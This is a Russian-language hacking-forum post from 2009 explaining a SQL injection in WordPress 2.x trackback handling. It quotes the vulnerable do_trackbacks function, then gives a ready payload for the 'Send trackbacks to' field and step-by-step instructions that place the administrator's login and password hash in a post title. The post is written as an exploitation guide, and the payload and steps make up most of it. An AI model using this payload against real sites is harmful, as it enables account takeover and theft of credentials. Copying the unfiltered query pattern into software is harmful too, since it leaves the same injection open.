Показать сообщение отдельно

Trackback SQL injection
  #114  
Старый 27.05.2009, 20:11
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
С нами: 10005506

Репутация: 784
По умолчанию Trackback SQL injection

5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?)

Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно
Открывай файл ./wp-includes/comment.php и находи в нем такой код:
Код:
 function do_trackbacks($post_id) { 
... 
    $to_ping = get_to_ping($post_id); 
... 
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); 
            } 
        } 
    } 
}
Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.
Использовать эту SQL-инъекцию очень просто:
1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее:
Код:
test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah
2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код;
3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа
 
Ответить с цитированием